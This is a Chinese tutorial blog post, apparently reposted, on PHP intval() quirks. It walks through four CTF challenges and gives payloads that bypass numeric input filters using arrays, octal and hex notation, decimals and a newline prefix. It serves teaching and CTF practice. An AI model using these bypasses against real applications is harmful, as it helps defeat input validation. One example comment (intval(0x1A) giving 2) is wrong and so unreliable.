• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

php特性:intval学习小记

武飞扬头像
quan9i
帮助3

前言

文章同步我的个人博客http://www.quan9i.top/,欢迎大家访问。
php特性的intval是一个比较常见的漏洞,今天就来比较全面的学习这个函数,将其简单的利用方式总结一下

函数学习

学习函数最好的方式就是去学习官方的,这样学习得到的收获更多一些,这里我们先来看一下这个函数定义

intval — 获取变量的整数值

而它的具体格式和解释如下

int intval( var,base)
//var指要转换成 integer 的数量值,base指转化所使用的进制 
Note: 
如果 base 是 0,通过检测 var 的格式来决定使用的进制: 
◦ 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,  
◦ 如果字符串以 "0" 开始,使用 8 进制(octal);否则,  
◦ 将使用 10 进制 (decimal)。 

这里这个Note对我们来说就尤为重要了,没有声明base参数时,字符串首字母是0则视为8进制,是0X则视为16进制,具体可以看官方给出的例子

<?php
echo intval(042);                     // 34
echo intval(0x1A);                    // 2
?> 

此时就可以看出它的一个利用方式了,当过滤某个数字时,我们可以利用它的进制转换来绕过。
此时再往下看

返回值 
成功时返回 var 的 integer 值,失败时返回 0。空的 array 返回 0,非空的 array 
返回 1。 

这时候就可以看出另一个利用方式了,如果是一个弱比较a==b我们输入a[]=1
b[]=2,此时这两个是不同的,但还都会返回1,此时也就实现了一种绕过,这是第二种绕过思路。
此时官方还给出了其他示例,我们再看

echo intval(42);                      // 42
echo intval(4.2);                     // 4

我们可以发现小数点后的数字会直接舍去,所以这可以作为第三种,当过滤4的时候,我们可以输入4.2来绕过
然后呢,我们还发现例子里有1e这种格式的,

echo intval(1e10);                    // 1410065408
echo intval('1e10');                  // 1

这个呢我们发现单引号传值的时候,它只识别字母前面的一部分,当我们进行get传参时,我们其实就是默认加单引号的,所以这又是一种绕过方式。
还有说一下这里不是必须是e,这里只要是字母就可以
学新通

实战

0X01

<?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}
?>

看见这题我的思路就是用数组绕过,可能是因为之前md5()的时候强比较看习惯了,这里构造payload如下即可

num[]=1

学新通

0X02


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

这关的话就是要求变量值不能为4476,但用过intval函数后为4476,这里的话我们首先需要知道intval的第二个参数为0时的意思是什么

int intval( var,base)
Note: 
如果 base 是 0,通过检测 var 的格式来决定使用的进制: 
◦ 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,  
◦ 如果字符串以 "0" 开始,使用 8 进制(octal);否则,  
◦ 将使用 10 进制 (decimal)。 

此时的话我们再看一下在这个函数的运算
学新通
看到这里的话就可以看出payload就有多种构造方法了

num=4476e123
//这里就跟上面那个单引号的1e10情况一样,此时只看字母前面的
num=4476.1
//计算int值时,后面有小数点会直接舍去
num=0x117c
//0x表明是十六进制数,117c是4476的十六进制数
num=010574
//0表明是八进制数,10574是4476的八进制数

测试如下
学新通
执行结果如下
学新通

0X03

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

这里的话就是从强比较换成了弱比较,用之前的解题payload即可

num=4476.1

0X04

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}
?>
学新通

这道题的话看着几乎是防死了,多过滤了.,这就意味着小数点绕过行不通,此时我们看到这个i修饰符,想到那个m修饰符,此时就想起来有个换行符 ,它对实际输出没影响,它还可以绕过上面的那些函数,因此我们这里构造如下语句,就实现了绕过,由于小数点不能用,这里就用八进制

num=
010574

学新通

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhffhjbc
系列文章
更多 icon
同类精品
更多 icon
继续加载